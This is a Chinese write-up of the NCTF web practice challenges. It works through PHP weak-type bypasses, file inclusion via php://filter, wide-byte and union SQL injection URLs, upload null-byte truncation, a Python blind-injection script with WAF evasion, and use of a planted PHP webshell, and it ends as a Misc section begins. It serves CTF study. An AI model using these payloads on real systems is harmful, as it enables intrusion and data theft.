南邮CTF WriteUp
Web
签到题
题干
这一定是最简单的
题解
右键查看源代码,看到nctf{flag_admiaanaaaaaaaaaaa}
md5 collision
题干
源码
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
题解
md5弱类型
我们只要找到md5加密后以0e
开头的字符串就可以绕过==
的判断了
QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
类似的还有sha1
aaroZmOk aaK1STfY aaO8zKZF aaO8zKZF aa3OFF9m
得到flag:nctf{md5_collision_is_easy}
签到2
只要输入zhimakaimen
即可,但是输入框对输入长度进行了限制
修改一下最大长度,输入zhimakaimen
获得flag is:nctf{follow_me_to_exploit}
这题不是WEB
题干
真的,你要相信我!这题不是WEB
题解
这题确实不是web,这是一道图片隐写题
用16进制编辑器打开图片,在最后的地方发现nctf{photo_can_also_hid3_msg}
层层递进
打开是一个网站,右键查看一下源代码
发现一个SO.html
,点进去
和刚刚那个网站长得很像,我们再次查看源代码
又看到了一个S0.html
联想到标题,这题可能是让我们一直找下去,找到头就能获得flag
接着后面一次发现SO.htm
、 S0.htm
、404.html
最后我们看到
<!-- Placed at the end of the document so the pages load faster -->
<!--
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->
拼接一下得到nctf{this_is_a_fl4g}
AAencode
题干
javascript aaencode
题解
google一下javascript aaencode
,发现是js的颜文字加密
注意这里打开可能是中文乱码,我们只要修改一下编码为unicode就可以正常显示了
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
我们直接把这段颜文字放到控制台回车,会提示ω゚ノ
undefined,所以我们要先定义一下var ω゚ノ = " ";
,然后再执行那一段颜文字
这样我们可以在页面上看到弹框nctf{javascript_aaencode}
或者我们还可以var ω゚ノ = " ";
,再把最后的('_')
删掉
返回nctf{javascript_aaencode}
单身二十年
题干
这题可以靠技术也可以靠手速!
老夫单身二十年,自然靠的是手速!
题解
看到一个链接,查看源代码,该链接指向./search_key.php
点击链接,我们却去到了./no_key_is_here_forever.php
这个页面
猜测是302跳转
burp抓包
获得nctf{yougotit_script_now}
你从哪里来
题干
你是从 google 来的吗?
题解
这题坏了,没办法做了,但是思路不会变
我们只要修改referer: https://www.google.com
即可
flag也给大家nctf{http_referer}
php decode
题干
见到的一个类似编码的shell,请解码
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
题解
将代码复制到本地,将eval
改成echo
即可解密
运行一下得到flag:nctf{gzip_base64_hhhhhh}
文件包含
题干
没错 这就是传说中的LFI
题解
点击链接,看到了file
参数可以包含文件
文件包含,可以使用php伪协议和filter过滤器,来读取源代码
payload
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
base64解码,得到
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
看到flag:nctf{edulcni_elif_lacol_si_siht}
单身一百年也没用
题干
是的。。这一题你单身一百年也没用
题解
和前面那个单身二十年思路一摸一样
抓包得到flag: nctf{this_is_302_redirect}
COOKIE
题干
COOKIE就是甜饼的意思~
TIP:
0==not
题解
页面显示please login first
我们打开检查元素
看到请求头中cookie: Login=0
再根据题目中的tip,我们只要将0改为1即可
得到flag:nctf{cookie_is_different_from_session}
MYSQL
题干
不能每一题都这么简单嘛
你说是不是?
题解
页面提示Do you know robots.txt?
于是访问http://chinalover.sinaapp.com/web11/robots.txt
返回
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
根据CTF的套路,应该是让我们输入一个id
,但他的值不等于1024
,但是intval
之后和1024
相等
那么只要知道intval
取整,就很容易了
payload
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
返回the flag is:nctf{query_in_mysql}
sql injection 3
搜索一下SQL-GBK
发现是宽字节注入
当我们使用'
闭合的时候,发现会被\
转义,没有办法成功闭合它
这里我们就要使用宽字节注入来进行绕过,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,当我们输入%df
的时候,出现如下报错:
your sql:select id,title from news where id = '1運''
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10
发现出现了报错,说明我们的语句已经影响了正常语句的执行了,可以注入了。这里为什么加一个%df
就可以了呢?因为这是mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,在%df
加入的时候会和转义符\
,即%5c
进行结合,变成了一个“運”
,而’逃逸了出来
因此只要第一个字节和%5c
结合是一个汉字,就可以成功绕过了,当第一个字节的ascii码大于128,就可以了
order by
我们先使用order by
语句,发现只有两列
查询库名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+
得到sae-chinalover
查询表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
得到ctf,ctf2,ctf3,ctf4,news
查询列名
查询ctf4
表
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x63746634--+
得到flag
查询数据
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,flag from ctf4--+
得到nctf{gbk_3sqli}
/x00
题干
题目有多种解法,你能想出来几种?
题解
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
第一种方法
第一个不等式中ereg
函数,当传入参数为数组nctf[]
时,NULL != FALSE
,构造成功跳过第一个不等式
第二个不等式中strpos
函数传入参数数组之后 NULL != FLASE
会返回flag
所以payload?nctf[]=
第二种方法
使用00截断
绕过ereg
函数,但要注意将#
url编码
payload:?nctf=1%00%23biubiubiu
bypass again
题干
依旧是弱类型
题解
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
只需要找到两个字符串经过md5
加密后,均以0e
开头即可绕过验证
Payload:?a=QNKCDZO&b=240610708
得到Flag: nctf{php_is_so_cool}
变量覆盖
题干
听说过变量覆盖么?
题解
关键代码
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {
extract($_POST);
if ($pass == $thepassword_123) {
echo $theflag;
}
}
?>
postpass=1&thepassword_123=1
得到nctf{bian_liang_fu_gai!}
PHP是世界上最好的语言
题干
听说PHP是世界上最好的语言
题解
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
将hackerDJ
经过两次url编码
payload:?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
得到nctf{php_is_best_language}
Header
题干
头啊!!头啊!!!
题解
直接看报头,有个Flag: nctf{tips_often_hide_here}
上传绕过
题干
猜猜代码怎么写的
题解
尝试上传.php
文件,返回只允许上传 jpg,GIF ,png后缀的文件
上传.jpg
文件,返回必须是php文件才行啊!
看一下请求
/uploads/
-----------------------------66246405014780623021849764865
Content-Disposition: form-data; name="file"; filename="test.jpg
Content-Type: text/php
返回
Array
(
[0] => .jpg
[1] => jpg
)
Upload: test.jpg<br />Type: text/php<br />Size: 0.025390625 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
["dirname"]=>
string(9) "./uploads"
["basename"]=>
string(4) ".php"
["extension"]=>
string(3) "php"
["filename"]=>
string(0) ""
}
尝试在/uploads/
后面加上test.php+空格
,filename="test.jpg"
然后将打开HEX,将test.php
后面空格20
改为00
,构造00
截断
上传,返回恭喜你获得flag一枚:flag:nctf{welcome_to_hacks_world}
SQL注入1
题干
听说你也会注入?
题解
关键代码
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
Payload:user=admin')#&pass=1
成功绕过验证flag:nctf{ni_ye_hui_sql?}
pass check
题干
核心源码
<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
题解
我们要知道strcmp(array,string)==null==0
,这道题就迎刃而解了
Payload:pass[]=
返回得到flag:nctf{strcmp_is_n0t_3afe}
起名字真难
题干
代码如下:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
题解
不能出现1-9
之间的数字,那么我们只能尝试将54975581388
转成16进制
转换后的结果是ccccccccc
,可以使用
payload:?key=0xccccccccc
得到The flag is:nctf{follow_your_dream}
密码重置
题干
重置管理员账号:admin 的密码
你在点击忘记密码之后 你的邮箱收到了这么一封重置密码的邮件:
点击此链接重置您的密码
题解
进去以后,我们发现账号那一栏被钉死为ctfuser
,同时还有这样一个get参数user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
先urldecode
再base64decode
得到ctfuser
这样一来,这题就很简单了
我们抓个包将这两个地方修改一下即可
payload:
user=admin&newpass=1&vcode=1234
?user1=%59%57%52%74%61%57%34%3d
得到flag is:nctf{reset_password_often_have_vuln}
sql injection 4
题干
继续注入吧~
TIP:反斜杠可以用来转义
仔细查看相关函数的用法
题解
源代码
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
Invalid password!
这题的clean
函数用来过滤引号,会将其转化为实体编码,所以我们没有办法直接用引号来闭合了,只能运用转义字符来吃掉后面的那个单引号了
我们传一个转义字符\
进去,即username=\
,就可以将后面的那个单引号变成被我们传入的反斜杠转义的单引号,从而使它失去闭合能力(被转义的单引号不能参与闭合)
如此一来我们就逃出来了,并且username='\' AND pass='
接下来我们只要使用万能密码绕过即可or 1=1
最后别忘了加上注释
payload:username=\&password=or 1=1—+
如果使用#
注释,别忘了使用urlencode
flag:nctf{sql_injection_is_interesting}
综合题
题干
tip:bash
题解
打开网页是一段jsfuck
放到控制台运行一下,得到1bc29b36f623ba82aaf6724fd3b16718.php
访问该页面,提示说tip在我的脑子里面
,应该是报头里面有提示,果然,有个tip: history of bash
我们知道bash的历史记录都被存放在了.bash_histroy
这个隐藏文件里
所以我们去访问这个文件,得到zip -r flagbak.zip ./*
再去访问flagbak.zip
,将其下载下来,打开里面有个flag.txt
,里面就是flag is:nctf{bash_history_means_what}
SQL注入2
题干
注入第二题~~主要考察union查询
题解
关键代码
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
我们知道当时用union select
的时候,会返回union select
后面的值,也就是说$query
的值是我们可控的,我们只要让$query
中存在md5($pass)
就可以了
构造payload:user=' union select md5(1)#&pass=1
获得flag:Logged in! Key: ntcf{union_select_is_wtf}
综合题2
题干
非xss题 但是欢迎留言~
题解
有个留言框,可以发表留言
提交后有个弹框昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)
那我们就去查看源代码
发现一个./so.php
提示万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~
如果要想访问这个页面的话,应该需要知道UA
的判断,但这个我们暂时不知道,先放一边
还有一个./about.php?file=sm.txt
,发现是个文件包含,可以用php://filter
伪协议来读取源码
我们就来读一下,目前我们所能掌握到的,这里我就列举一下有用的
so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>
<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>
我们看到这句$_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"
,掌握了UA
信息,在请求头中加上User-Agent=Xlcteam Browser
就可成功去访问了
同时,很惊喜的我们发现了可以注入的点,看这句$result=mysql_query("SELECT * FROM message WHERE display=1 AND id=$id");
$id
是由我们传入的$_POST['soid']
控制的,完全可控,可以注入
上面我们还能看到一个antiinject.php
,应该是个waf
antiinject.php
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
果不其然,确实是个waf,我们传入的soid
参数也会受到它的检验,不过我们可以通过双写轻易绕过
这样一来我们就可以尝试注入了
尝试payload
soid=1^(ascii(mid((database())frofromm(1)))>32)
发现当后面为真时,页面什么又没有,当后面为假时,页面返回
大秘密:
交个朋友吧,这个是我微信号 e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bfd94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834 这是原来管理员说的话,一不小心给覆盖了,sorry!!!欢迎来到xlcteam渗透挑战平台,在这里各位黑阔可以尽情施展你们那牛X的技术和猥琐流的渗透技巧。 (别说SAE没有写权限传不了shell,渗透到后台之后就什么都知道了)。 对了,各位脚本小子就不要拿各种扫描工具猛扫了,也扫不到什么东西的。当然,适当的收集资料还是可以的
这样我们可以盲注了
库名
payload如上
表名
soid=1^(ascii(mid((selselectect/**/group_concat(table_nanameme)/**/frofromm/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())frofromm(1)))>32)
后面不再一一列举,和上面类似,注意一下过滤的字符就好,这里过滤了=
,我们可以使用like
语句,'
‘和"
被过滤,可以将表名转为16进制
这里也给出脚本的一个样例
import requests
url = 'http://cms.nuptzj.cn/so.php'
s = requests.Session()
passwd = ''
headers = {'User-Agent': 'Xlcteam Browser'}
for l in range(1,33):
for c in range(32,133):
soid = "1^(ascii(mid((selselectect/**/group_concat(column_nanameme)/**/frofromm/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/anandd/**/table_nanameme/**/like/**/0x6861636b65726970)frofromm(%d)))>%d)" % (l,c)
data = {'soid':soid}
html = s.post(url,data=data,headers=headers).text
if 'sorry' in html:
passwd += chr(c)
print passwd
break
不要忘记加上UA
我把所有我注出来的信息全部整理了一下,如下
库名:sae-exploitblog
表名:admin,filename,hackerip,message
message表:id,nice,say,display
nice字段:,admin,wtf,1111,1111,1,1,1,2,
admin表:id,username,userpass
username字段:admin
userpass字段:102 117 99 107 114 117 110 116 117 -> fuckruntu
filename表:id,name,path
name字段:conpass.php,arlogined.php
path字段:./conpass.php,./arlogined.php
hackerip表:id,qq,mail,ip
这个注入很想吐槽了,弄这么多表还有列~累死我了
至此,我们获得了admin
的密码fuckruntu
,并且看到了登录框的一点影子./conpass.php,./arlogined.php
看着时当前目录,天真的以为就网站根目录,结果访问是404
,于是又卡住了,左思右想,突然想起还有个about.php
没有读,就是文件包含那个页面,忘记读它自己的代码了
about.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
嘿嘿,惊喜来了!!!
loginxlcteam
,看到了这个,还说是敏感目录,好了,应该就是它了
尝试去访问http://cms.nuptzj.cn/loginxlcteam/conpass.php
,使用之前获得admin
和fuckruntu
成功登录后台
返回
恭喜你已拿下后台,离爆菊只差一步了flag1:nctf{}
因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为:xlcteam.php
说明我们离flag不远了,而且我们又获得了一个重要信息xlcteam.php
,还是个一句话木马,岂不是可以命令执行了~
读一下
xlcteam.php
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
这种一句话的利用方式就是让www=preg_replace
,然后wtf
参数传入可执行语句
paylaod
http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post: wtf=phpinfo();
成功执行
然后利用phpinfo()
的信息,我们可以看到禁用函数,发现一些常见的命令执行函数都被禁了
但是我们还是有办法的
wtf=print_r(scandir('./'));
执行得到
Array ( [0] => . [1] => .. [2] => about.php [3] => antiinject.php [4] => antixss.php [5] => config.php [6] => index.php [7] => list.php [8] => loginxlcteam [9] => passencode.php [10] => preview.php [11] => say.php [12] => sm.txt [13] => so.php [14] => xlcteam.php [15] => 恭喜你获得flag2.txt )
这里我又踩了一个坑,我一开始一直以为文件名叫flag2.txt
,发现怎么都读不到,怎么访问都是404,于是我又仔细看了一下,才反应过来文件名是叫恭喜你获得flag2.txt
直击访问得到flag:nctf{you_are_s0_g00d_hacker}
重置密码2
题干
题题被秒,当时我就不乐意了!
本题来源于CUMT
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
题解
查看源代码看到管理员邮箱admin@nuptzj.cn
,和submit.php
根据提示vi编辑器和备份文件
,应该是swp
备份文件泄露,尝试访问.submit.php.swp
,成功获取源码和表结构
........这一行是省略的代码........
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
........这一行是省略的代码........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
根据要求需要让token
的长度为10,并且值等于0
尝试emailAddress=admin@nuptzj.cn&token=0000000000
成功获得flag:flag:nctf{thanks_to_cumt_bxs}
Misc
图种
题干
flag是动态图最后一句话的拼音首字母
加上nctf{}
题解
扔进binwalk,发现一个zip
